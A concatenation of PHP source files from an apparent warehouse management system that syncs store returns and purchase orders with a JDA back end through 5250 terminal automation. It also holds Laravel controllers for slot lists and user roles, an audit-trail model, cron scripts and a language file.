return false;
}
if(parent::$jda->screenCheck('Invalid slot')) {
$transfer_message='Invalid slot';
self::$formMsg = "{$transfer_no}: {$transfer_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($transfer_no,"{$source}: {$transfer_message}", TRUE);
return false;
}
echo self::$formMsg;
return true;
}
public function enterSOForm($transferer, $slot_code, $transfer_nos, $not_in_transfer_details)
{
parent::$jda->screenWait("Transfer Receipt Maintenance-SKU");
parent::display(parent::$jda->screen,132);
echo "Entered: Transfer Receipt Maintenance-SKU \n";
self::enterSoTransferReceipt($transferer, $slot_code, $transfer_nos, $not_in_transfer_details);
}
private static function enterSoTransferReceipt($transferer, $slot_code, $transfer_nos, $not_in_transfer_details) {
$column = 10;
$row = 78;
$limit = 12;
$total = count($transfer_nos);
$offset = 0;
$count = ceil($total / $limit);
$formValues = array();
parent::$jda->write5250(array(array(sprintf("%-8s", $slot_code),7,12)),F7, true);//enter sku
self::showWarning($formValues);
$validate = self::checkTransferNumber($transferer,__METHOD__);
// if slot is valid continue transaction
if ($validate)
{
self::captureWarning();
self::enterTransferReceiptMaintenanceSkuAgain($transferer);
//enter not in transfer quantities
if(is_array($not_in_transfer_details) && !empty($not_in_transfer_details)) {
echo "\n Has not in transfer data \n";
self::enterAddItems();
if(parent::$jda->screenCheck("Add Items To Transfer"))
{
foreach ($not_in_transfer_details as $not_in_transfer_detail) {
$formValues = array();
$formValues[] = array(sprintf("%10d", $not_in_transfer_detail['sku']),16,38);
$formValues[] = array(sprintf("%10d", $not_in_transfer_detail['received_qty']),19,34);
parent::$jda->write5250($formValues,F7,true);
parent::display(parent::$jda->screen,132);
}
parent::$jda->set_pos(21,24);
parent::$jda->write5250(null,F1,true);
parent::display(parent::$jda->screen,132);
echo "\n Entered not in transfer \n";
}
$tries=0;
while($tries++ < 5 && parent::$jda->screenCheck("Add Items To Transfer"))
{
echo "\n Found Add Items To Transfer pressed F1 \n";
parent::$jda->write5250(null,F1,true);
}
$tries3=0;
while($tries3++ < 5 && parent::$jda->screenWait("You have requested to Exit")){
echo "\n Found *********** WARNING *********** pressed F12 & tries: {$tries3} \n";
parent::$jda->set_pos(17,24);
parent::$jda->write5250(null,F12,true);
}
}
// paginate
//enter first default quantites
// if(! parent::$jda->screenCheck("Add Items To Transfer")) {
while($offset < $count) {
echo "\n Count: {$count} \n";
$new = $offset;
if ($new !== 0) {
$new = $new * $limit;
for($i=0; $i < $offset; $i++)
{
$top_sku=$transfer_nos[$new]['sku'];
echo "\nCounter of i is: {$offset} \n";
echo "\nEntered ROLLUP: Page: {$offset} with offset of: {$new} and row {$row} \n";
parent::$jda->write5250(null,ROLLUP,true);
parent::display(parent::$jda->screen,132);
}
}
$page = array_slice( $transfer_nos, $new, $limit );
$formValues = array();
foreach ($page as $key => $value) {
$new_column = $key + $column;
echo "\n value of new_col is: {$new_column} \n";
echo "value of transfer_nos is: {$value['received_qty']} \n";
$formValues[] = array(sprintf("%10d", $value['received_qty']),$new_column,$row); //enter qty_delivered
}
parent::display(parent::$jda->screen,132);
self::showWarning($formValues,$offset,$top_sku);
self::captureWarning();
self::reenterValues($formValues, $offset,$top_sku);
$lagging= self::enterTransferReceiptMaintenanceSkuAgain($transferer);
if($lagging){
self::$jda->write5250(null,F1,true);
self::$jda->write5250(null,F1,true);
break;
}
$offset++;
}
parent::display(parent::$jda->screen,132);
if($lagging){
echo "\n Connection time out. Do not proceed. \n";
self::$jda->write5250(null,F1,true);
}
else
self::closeTransaction($transferer);
// }
}
}
private static function enterAddItems() {
parent::$jda->write5250(null,F9,true);
}
private static function closeTransaction($transferer)
{
parent::$jda->set_pos(27,80);
parent::$jda->write5250(null,F10,true);
if (parent::$jda->screenCheck("All Recieved Quantities are ZERO.")){
parent::$jda->write5250(null,F1,true);
parent::$jda->write5250(null,F10,true);
echo "\nF10 pressed \n";
parent::display(parent::$jda->screen,132);
}
echo "Enter closing of store return \n";
$tries3=0;
while($tries3++ < 5 && !parent::$jda->screenWait("This job has been placed on a batch Job Queue")){
echo "\n Unable to find This job has been placed on a batch Job Queue & tries: {$tries3} \n";
parent::$jda->set_pos(27,80);
parent::$jda->write5250(null,F10,true);
}
self::checkTransferLanding($transferer,__METHOD__);
}
private static function rescroll($count, $top_sku=null) {
echo "\nEntered rescroll parameter count values is : {$count} \n";
for($i=0; $i < $count; $i++)
{
if(! parent::$jda->screenCheck("{$top_sku}")){
echo "\nCounter of i is: {$i} \n";
echo "\nEntered ROLLUP: Page: {$i} with offset of: {$count} \n";
parent::$jda->write5250(null,ROLLUP,true);
parent::display(parent::$jda->screen,132);
}
else{
echo "\nFound top sku: {$top_sku} \n";
break;
}
}
}
private static function reenterValues($formValues, $offset, $top_sku=null) {
if (! parent::$jda->screenWait("Transfer Number") && parent::$jda->screenCheck("F5=Msg")) {
echo "\n Found F5=Msg!!! reenter values: {$tries} \n";
self::rescroll($offset);
parent::$jda->write5250($formValues,F7,true);
parent::display(parent::$jda->screen,132);
}
}
private static function showWarning($formValues,$offset=null, $top_sku=null) {
$tries=0;
while($tries++ < 5 && !parent::$jda->screenWait("All Recieved Quantities are ZERO."))
{
echo "\nF1 not yet processed pressed F7 & tries: {$tries} \n";
if (! parent::$jda->screenCheck("Transfer Number")) {
parent::$jda->write5250($formValues,F7,true); // doesn't affect if we press multiple F7 key
parent::display(parent::$jda->screen,132);
self::reenterValues($formValues, $offset, $top_sku);
} else {
break;
}
}
}
private static function captureWarning() {
if (! parent::$jda->screenWait("Transfer Number")) {
parent::$jda->screenCheck("This is a WARNING");
echo "\n Found This is a WARNING!!! pressed F1 to exit tries: {$tries} \n";
parent::$jda->write5250(null,F1,true);
parent::display(parent::$jda->screen,132);
}
}
private static function enterTransferReceiptMaintenanceSkuAgain($transfer_no) {
if (parent::$jda->screenWait("Transfer Number")) {
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%-8d", $transfer_no),10,44);
parent::$jda->write5250($formValues,ENTER,true);
parent::$jda->screenWait("Transfer Receipt Maintenance-SKU");
echo "\n Entered Transfer Receipt Maintenance-SKU again \n";
parent::display(parent::$jda->screen,132);
return false;
}
else{
echo "\n Unable to find Transfer Number. Unsuccessful F7 saving qty. \n";
return true;
}
}
private static function checkTransferLanding($transferer,$source) {
if(parent::$jda->screenWait('This job has been placed on a batch Job Queue')) {
echo 'This job has been placed on a batch Job Queue';
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,ENTER,true);
self::updateSyncStatus($transferer);
}
}
/*
* Update ewms trasaction_to_jda sync_status
*/
private static function updateSyncStatus($reference,$error_message=null, $isError = FALSE) {
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Getting transfer no from db \n";
$sql = "UPDATE wms_transactions_to_jda
SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}', error_message = '{$error_message}'
WHERE sync_status = 0 AND module = 'Store Return' AND jda_action='Returning' AND reference = (SELECT so_no FROM wms_store_return WHERE so_no = {$reference})";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
/*
* On done only via android
*/
public function enterTransferReceipt()
{
//TODO::checkvalues
//TODO::how to know if error
try {
$title = "Returning SO \n";
echo $title ;
parent::checkRecoverJob();
parent::checkJobOnProgress();
self::enterTransfers();
self::enterTransferManagement();
self::enterReceiveTransfer();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
private static function syncSOClosing($params)
{
$formattedString = "{$params['soNo']}";
// $dbInstance = new pdoConnection(); //open db connection
// $dbInstance->daemon('close_po', $formattedString);
// $dbInstance->close();
echo "Entered: Syncing store return closing.... \n";
}
public function logout($params = array())
{
parent::logout();
self::syncSOClosing($params);
}
}
$db = new pdoConnection(); //open db connection
$params = array();
$params = array('module' => 'Store Return', 'jda_action' => 'Returning');
$execParams = array();
$execParams['soNo'] = ((isset($argv[1]))? $argv[1] : NULL);
if($argv[1]) $params['reference'] = $execParams['soNo'];
$soNos = $db->getJdaTransaction($params);
if(! empty($soNos) )
{
foreach ($soNos as $soNo) {
$transfer_details = $db->getTransferNo($soNo);
$not_in_transfer_details = $db->getTransferNo($soNo, TRUE);
print_r($transfer_details);
if(! empty($transfer_details) )
{
$returnSO = new storeReturn();
$returnSO->enterTransferReceipt();
$transfer_no = $transfer_details[0]['transfer_no'];
$slot_code = $transfer_details[0]['slot_code'];
$validate = $returnSO->enterTransferNumber($transfer_no);
if($validate) $returnSO->enterSOForm($transfer_no, $slot_code,$transfer_details, $not_in_transfer_details);
$returnSO->logout($execParams);
}
else {
echo " \n No receiver_nos found!. \n";
}
}
}
$db->close(); //close db connection<file_sep><?php
include_once("ewms_connection.php");
chdir(dirname(__FILE__));
include_once('ewms_cron_class.php');
$ewms = new cronEWMS();
/*$ewms->products();
sleep(10);
$ewms->department();
sleep(10);
$ewms->slots();
sleep(10);
$ewms->vendors();
sleep(10);
$ewms->stores();
sleep(10);*/
$ewms->purchaseOrder();
sleep(10);
/*$ewms->purchaseOrderDetails();
sleep(10);*/
/*$ewms->storeOrder();
sleep(10);
$ewms->storeOrderDetails();
sleep(10);
$ewms->storeReturn();
sleep(10);
$ewms->storeReturnDetail();
*/
/*$ewms->picklist();
sleep(10);
$ewms->picklistDetail();
$ewms->close();
sleep(10);*/
/*$ewms->inventory();
sleep(10);
$ewms->letdown();
sleep(10);
$ewms->letdownDetail();
sleep(10);*/<file_sep><?php
class SlotListController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct()
{
date_default_timezone_set('Asia/Manila');
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only' => array('Dashboard')));
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessSlotMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessSlotMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportSlotMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('slots');
}
} else {
return Redirect::to('users/logout');
}
$this->data = Lang::get('slot_list');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'filter_slot_no' => Input::get('filter_slot_no', NULL),
'sort' => Input::get('sort', 'slot_code'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = SlotList::getSlotLists($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('slots.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('slots_' . date('Ymd') . '.pdf');
}
/*public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportSlotMasterList', unserialize(Session::get('permissions')))) {
return Redirect::to('slots');
}
} else {
return Redirect::to('users/logout');
}
$this->data = Lang::get('slot_list');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'filter_slot_no' => Input::get('filter_slot_no', NULL),
'sort' => Input::get('sort', 'slot_code'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = SlotList::getSlotLists($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('slots.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('slots_' . date('Ymd') . '.pdf');
}*/
protected function getList() {
$this->data['heading_title'] = Lang::get('slot_list.heading_title');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['label_filter_slot_no'] = Lang::get('slot_list.label_filter_slot_no');
$this->data['col_id'] = Lang::get('slot_list.col_id');
$this->data['col_slot_no'] = Lang::get('slot_list.col_slot_no');
$this->data['col_store_no'] = Lang::get('slot_list.col_store_no');
$this->data['col_zone_no'] = Lang::get('slot_list.col_zone_no');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_jda'] = Lang::get('general.button_jda');
// URL
$this->data['url_export'] = URL::to('slots/export');
// Search Filters
$filter_slot_no = Input::get('filter_slot_no', NULL);
$sort = Input::get('sort', 'slot_code');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
// Data
$arrParams = array(
'filter_slot_no' => $filter_slot_no,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = SlotList::getSlotLists($arrParams);
$results_total = SlotList::getCountSlotLists($arrParams);
// Pagination
$this->data['arrFilters'] = array(
'filter_slot_no' => $filter_slot_no,
'sort' => $sort,
'order' => $order
);
$this->data['slots'] = Paginator::make($results, $results_total, 30);
$this->data['slots_count'] = $results_total;
$this->data['counter'] = $this->data['slots']->getFrom();
$this->data['filter_slot_no'] = $filter_slot_no;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_slot_no=' . $filter_slot_no;
$url .= '&page=' . $page;
$order_id = ($sort=='id' && $order=='ASC') ? 'DESC' : 'ASC';
$order_slot_no = ($sort=='slot_code' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_id'] = URL::to('slots' . $url . '&sort=id&order=' . $order_id, NULL, FALSE);
$this->data['sort_slot_no'] = URL::to('slots' . $url . '&sort=slot_code&order=' . $order_slot_no, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('slots.list', $this->data);
}
}<file_sep><?php
class UserRolesController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct()
{
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only' => array('Dashboard')));
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessUserRoles', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessUserRoles', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function insertDataForm() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanInsertUserRoles', unserialize(Session::get('permissions')))) {
return Redirect::to('user_roles' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data = Lang::get('user_roles');
$this->data['button_submit'] = Lang::get('general.button_submit');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
// URL
$this->data['url_cancel'] = URL::to('user_roles' . $this->setURL());
// Search Filters
$this->data['filter_role_name'] = Input::get('filter_role_name');
$this->data['sort'] = Input::get('sort', 'role_name');
$this->data['order'] = Input::get('order', 'ASC');
$this->layout->content = View::make('user_roles.insert', $this->data);
}
public function insertData() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanInsertUserRoles', unserialize(Session::get('permissions')))) {
return Redirect::to('user_roles' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$rules = array(
'role_name' => 'required|unique:user_roles,role_name,NULL,id,deleted_at,0000-00-00 00:00:00',
'permissions' => 'required'
);
$validator = Validator::make(Input::all(), $rules);
if ($validator->fails()) {
return Redirect::to('user_roles/insert' . $this->setURL())
->withErrors($validator)
->withInput();
} else {
$arrParams = array(
'role_name' => Input::get('role_name'),
'permissions' => json_encode(Input::get('permissions')),
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
UserRoles::addUserRole($arrParams);
// AuditTrail
$data_before = '';
$data_after = 'Role Name: ' . Input::get('role_name') . '<br />' .
'Permissions: ' . implode(', ', Input::get('permissions'));
$arrParams = array(
'module' => 'User Roles',
'action' => 'Added New User Role',
'reference' => Input::get('role_name'),
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
return Redirect::to('user_roles'. $this->setURL())->with('success', Lang::get('user_roles.text_success_insert'));
}
}
public function updateDataForm() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanUpdateUserRoles', unserialize(Session::get('permissions'))) || Input::get('id')=='1' || UserRoles::find(Input::get('id'))==NULL) {
return Redirect::to('user_roles' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data = Lang::get('user_roles');
$this->data['button_submit'] = Lang::get('general.button_submit');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
// URL
$this->data['url_cancel'] = URL::to('user_roles' . $this->setURL());
// Search Filters
$this->data['filter_role_name'] = Input::get('filter_role_name');
$this->data['sort'] = Input::get('sort', 'role_name');
$this->data['order'] = Input::get('order', 'ASC');
$this->data['page'] = Input::get('page', 1);
// Data
$this->data['user_role'] = UserRoles::find(Input::get('id'));
// echo "<pre>"; print_r($this->data['user_role']); die();
$this->layout->content = View::make('user_roles.update', $this->data);
}
public function updateData() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanUpdateUserRoles', unserialize(Session::get('permissions'))) || Input::get('role_id')=='1' || UserRoles::find(Input::get('role_id'))==NULL) {
return Redirect::to('user_roles' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$rules = array(
'role_name' => 'required|unique:user_roles,role_name,' . Input::get('role_id') . ',id,deleted_at,0000-00-00 00:00:00',
'permissions' => 'required'
);
$validator = Validator::make(Input::all(), $rules);
if ($validator->fails()) {
return Redirect::to('user_roles/update' . $this->setURL() .'&id=' . Input::get('role_id'))
->withErrors($validator)
->withInput();
} else {
// AuditTrail
$role = UserRoles::find(Input::get('role_id'));
$data_before = 'Role Name: ' . $role->role_name . '<br />' .
'Permissions: ' . implode(', ', json_decode($role->permissions));
// AuditTrail
// Update User Role Details
$arrParams = array(
'role_name' => Input::get('role_name'),
'permissions' => json_encode(Input::get('permissions')),
'updated_at' => date('Y-m-d H:i:s')
);
UserRoles::updateUserRole(Input::get('role_id'), $arrParams);
// AuditTrail
$data_after = 'Role Name: ' . Input::get('role_name') . '<br />' .
'Permissions: ' . implode(', ', Input::get('permissions'));
$arrParams = array(
'module' => 'User Roles',
'action' => 'Modified User Role',
'reference' => Input::get('role_name'),
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
return Redirect::to('user_roles' . $this->setURL())->with('success', Lang::get('user_roles.text_success_update'));
}
}
public function deleteData() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanDeleteUserRoles', unserialize(Session::get('permissions')))) {
return Redirect::to('user_roles' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$rules = array(
'selected' => 'required'
);
$validator = Validator::make(Input::all(), $rules);
if ($validator->fails()) {
return Redirect::to('user_roles');
} else {
UserRoles::deleteUserRole(Input::get('selected'));
// AuditTrail
$arrDeleted = array();
foreach (Input::get('selected') as $id) {
$info = UserRoles::find($id);
$arrDeleted[] = $info->role_name;
}
$data_before = '';
$data_after = 'Deleted: ' . implode(', ', $arrDeleted);
$arrParams = array(
'module' => 'User Roles',
'action' => 'Deleted User Roles',
'reference' => implode(', ', $arrDeleted),
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
return Redirect::to('user_roles' . $this->setURL())->with('success', Lang::get('user_roles.text_success_delete'));
}
}
protected function getList() {
$this->data['heading_title'] = Lang::get('user_roles.heading_title');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_confirm'] = Lang::get('general.text_confirm');
$this->data['label_filter_role_name'] = Lang::get('user_roles.label_filter_role_name');
$this->data['col_id'] = Lang::get('user_roles.col_id');
$this->data['col_role_name'] = Lang::get('user_roles.col_role_name');
$this->data['col_action'] = Lang::get('user_roles.col_action');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_insert'] = Lang::get('user_roles.button_insert');
$this->data['button_delete'] = Lang::get('user_roles.button_delete');
$this->data['link_edit'] = Lang::get('general.link_edit');
$this->data['error_delete'] = Lang::get('general.error_delete');
// URL
$url = $this->setURL();
$this->data['url_insert'] = URL::to('user_roles/insert' . $url);
$this->data['url_update'] = URL::to('user_roles/update' . $url);
// Messages
$this->data['error'] = '';
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Filters
$filter_role_name = Input::get('filter_role_name', NULL);
// Data
$page = Input::get('page', 1);
$sort = Input::get('sort', 'role_name');
$order = Input::get('order', 'ASC');
$arrParams = array(
'filter_role_name' => $filter_role_name,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = UserRoles::getUserRoles($arrParams);
$results_total = UserRoles::getCountUserRoles($arrParams);
// Pagination
$this->data['arrFilters'] = array(
'filter_role_name' => $filter_role_name,
'sort' => $sort,
'order' => $order
);
$this->data['user_roles'] = Paginator::make($results, $results_total, 30);
$this->data['user_roles_count'] = $results_total;
$this->data['counter'] = $this->data['user_roles']->getFrom();
$this->data['filter_role_name'] = $filter_role_name;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_role_name=' . $filter_role_name . '&page=' . $page;
$order_id = ($sort=='id' && $order=='ASC') ? 'DESC' : 'ASC';
$order_role_name = ($sort=='role_name' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_id'] = URL::to('user_roles' . $url . '&sort=id&order=' . $order_id, NULL, FALSE);
$this->data['sort_role_name'] = URL::to('user_roles' . $url . '&sort=role_name&order=' . $order_role_name, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('user_roles.list', $this->data);
}
protected function setURL() {
// Search Filters
$url = '?filter_role_name=' . Input::get('filter_role_name', NULL);
$url .= '&sort=' . Input::get('sort', 'role_name');
$url .= '&order=' . Input::get('order', 'ASC');
$url .= '&page=' . Input::get('page', 1);
return $url;
}
}<file_sep><?php
chdir(dirname(__FILE__));
include_once('ewms_cron_class.php');
$ewms = new cronEWMS();
//$ewms->purchaseOrder(); sleep(10);
//$ewms->purchaseOrderDetails(); sleep(10);
//$ewms->picklist(); sleep(10);
$ewms->picklistDetail(); sleep(10);
/*$ewms->storeReturn(); sleep(2);
$ewms->storeReturnDetail(); sleep(10);
*/
/*$ewms->storeReturn_pick() ; sleep(10);
$ewms->storeReturnDetail_pick(); sleep(10);
$ewms->storeReturn_return(); sleep(10);
$ewms->storeReturnDetail_return(); sleep(10);
*/
/*$ewms->storeOrder(); sleep(10);
$ewms->storeOrderDetails(); sleep(10);
$ewms->storeReturn(); sleep(10);
$ewms->storeReturnDetail();*/
$ewms->close();<file_sep><?php
class AuditTrail extends Eloquent {
protected $table = 'audit_trail';
public static function addAuditTrail($data = array()) {
DB::table('audit_trail')->insert($data);
}
public static function getAuditTrails($data = array()) {
$query = DB::table('audit_trail')->join('users', 'audit_trail.user_id', '=', 'users.id', 'LEFT');
if( CommonHelper::hasValue($data['filter_module']) ) {
$filter_module = Config::get('audit_trail_modules.'.$data['filter_module']);
// $query->where('module', '=', $data['filter_module']);
$query->where('module', '=', $filter_module);
}
if( CommonHelper::hasValue($data['filter_action']) ) $query->where('action', 'LIKE', '%'.$data['filter_action'].'%');
if( CommonHelper::hasValue($data['filter_reference']) ) $query->where('reference', 'LIKE', '%'.$data['filter_reference'].'%');
if( CommonHelper::hasValue($data['filter_user']) ) $query->where('user_id', '=', $data['filter_user']);
if( CommonHelper::hasValue($data['filter_date_from']) && CommonHelper::hasValue($data['filter_date_to'])) $query->whereBetween('audit_trail.created_at', array($data['filter_date_from'] . ' 00:00:00', $data['filter_date_to'] . ' 23:59:59'));
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='date') $data['sort'] = 'created_at';
if ($data['sort']=='username') $data['sort'] = 'users.username';
if ($data['sort']=='details') $data['sort'] = 'data_before';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get(array(
'audit_trail.*',
'users.username',
'users.firstname',
'users.lastname'
)
);
return $result;
}
public static function getCountAuditTrails($data = array()) {
$query = DB::table('audit_trail')->join('users', 'audit_trail.user_id', '=', 'users.id', 'LEFT');
// if( CommonHelper::hasValue($data['filter_module']) ) $query->where('module', '=', $data['filter_module']);
if( CommonHelper::hasValue($data['filter_module']) ) {
$filter_module = Config::get('audit_trail_modules.'.$data['filter_module']);
// $query->where('module', '=', $data['filter_module']);
$query->where('module', '=', $filter_module);
}
if( CommonHelper::hasValue($data['filter_action']) ) $query->where('action', 'LIKE', '%'.$data['filter_action'].'%');
if( CommonHelper::hasValue($data['filter_reference']) ) $query->where('reference', 'LIKE', '%'.$data['filter_reference'].'%');
if( CommonHelper::hasValue($data['filter_user']) ) $query->where('user_id', '=', $data['filter_user']);
if( CommonHelper::hasValue($data['filter_date_from']) && CommonHelper::hasValue($data['filter_date_to'])) $query->whereBetween('audit_trail.created_at', array($data['filter_date_from'] . ' 00:00:00', $data['filter_date_to'] . ' 23:59:59'));
return $query->count();
}
}<file_sep><?php
class InterTransfer extends Eloquent {
protected $table = 'inter_transfer';
protected $fillable = array('load_code', 'mts_number');
public static function addRecord($data = array()) {
InterTransfer::insert($data);
}
}<file_sep><?php
return array(
'heading_title' => 'Purchase Order',
'heading_title_discrp' => 'Discrepansy list',
'heading_title_assign_po' => 'Assign PO to Stock Piler',
'heading_title_po_details' => 'PO Details',
'heading_title_po_contents' => 'PO Contents',
'text_success_assign' => 'Successfully assigned per Division!',
'text_success_close_po' => 'Successfully closed the PO!',
'text_success_reopen' => 'Successfully reopen Purchase Order # :purchaseOrderNo.',
'text_success_pull' => 'Successfully pulled from JDA!',
'text_fail_pull' => 'Failed pull from JDA!',
'text_assigned' => 'Assigned',
'text_closed_po' => 'Closed',
'text_posted_po' => 'Posted',
'text_warning' => 'Close PO?',
'text_confirm_assign' => 'Assign selected items?',
'text_confirm_reopen' => 'Are you sure you want to reopen this PO?',
'label_purchase_no' => 'PO No.:',
'label_delivery_date' => 'Delivery Date:',
'label_status' => 'Status:',
'label_receiver_no' => 'Receiver No.:',
'label_supplier' => 'Supplier:',
'label_stock_piler' => 'Assigned Stock Piler:',
'label_receiver' => 'Receiver:',
'label_jda_sync' => 'Latest JDA Sync Date:',
'label_app_sync' => 'Latest App Sync Date:',
'label_invoice_amount' => 'Invoice Amount',
'label_invoice_number' => 'Invoice Number',
'label_entry_date' => 'Entry Date',
'label_back_order' => 'Back Order',
'label_brand' => 'Brand',
'label_division' => 'Division :',
'label_divisionasdf' => 'Division ',
'label_shipment_reference_no' => 'Shipment Ref No.',
'entry_purchase_no' => 'PO No.:',
'entry_stock_piler' => 'Stock Piler:',
'entry_invoice' => 'Enter Invoice number and amount',
'button_close_po' => 'Close PO',
'button_assign_to_stock_piler' => 'Assign to Stock Piler',
'button_generate_backorder' => 'Back Order Report',
'col_id' => 'No.',
'col_po_no' => 'PO No.',
'col_shipment_ref' => 'Shipment Ref',
'col_receiver_no' => 'Receiver No.',
'col_variance' => 'Variance',
'col_total_qty' => 'Total Qty.',
'col_supplier' => 'Supplier',
'col_receiving_stock_piler' => 'Receiving Stock Piler',
'col_delivery_date' => 'Delivery Date',
'col_stock_piler' => 'Piler name',
'col_invoice_amount' => 'Invoice Amount',
'col_status' => 'Status',
'col_action' => 'Action',
'col_entry_date' => 'Entry Date',
'col_back_order' => 'Back Order',
'col_carton_id' => 'Carton Id',
'col_expiry_date' => 'Expiry date',
'col_slot' => 'Slot',
'col_box_code' => 'Box No.',
'col_sticker_by' => 'Sticker By',
'col_report' => 'Unlisted_Item',
'col_sku' => 'SKU',
'col_upc' => 'UPC',
'col_short_name' => 'Short Name',
'col_expected_quantity' => 'Expected_quantity',
'col_received_quantity' => 'Received Quantity',
'error_po_details' => 'No PO Details found!',
'error_assign' => 'Please select the items to be assigned',
'error_assign_po' => 'Please select a Stock Piler',
);<file_sep><?php
require_once(__DIR__ . '/db_connection/db_subloc_shipping.php');
require_once(__DIR__ . '/keystroke/subloc_shipping.php');
$db_connect = new DB_function_subloc_shipping();
$db_connect->connect();
$getClosed = $db_connect->getLoadCodeShipSubloc();
foreach ($getClosed as $header)
{
/*echo " Pell number :".$header['load_code']."\n";
$getLoadNumber = $db_connect->getShippingSubloc($header['load_code']);
foreach ($getLoadNumber as $details)
{*/
echo " Transfer no. : ".$header['move_doc_number']."\n";
$SubLocShipping = new SubLocShipping ();
$SubLocShipping->Login();
if($SubLocShipping)
{
$SubLocShipping->Initiate();
$SubLocShipping->DoSubLocShipping($header['move_doc_number']);
$db_connect->updateIsSyncedShipping($header['move_doc_number']);
}
/*}*/
}
<file_sep><?php
class PurchaseOrderDetailSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
DB::table('purchase_order_details')->truncate();
$data = array(
array(
"po_id"=>1,
"sku"=>'NGM0001',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
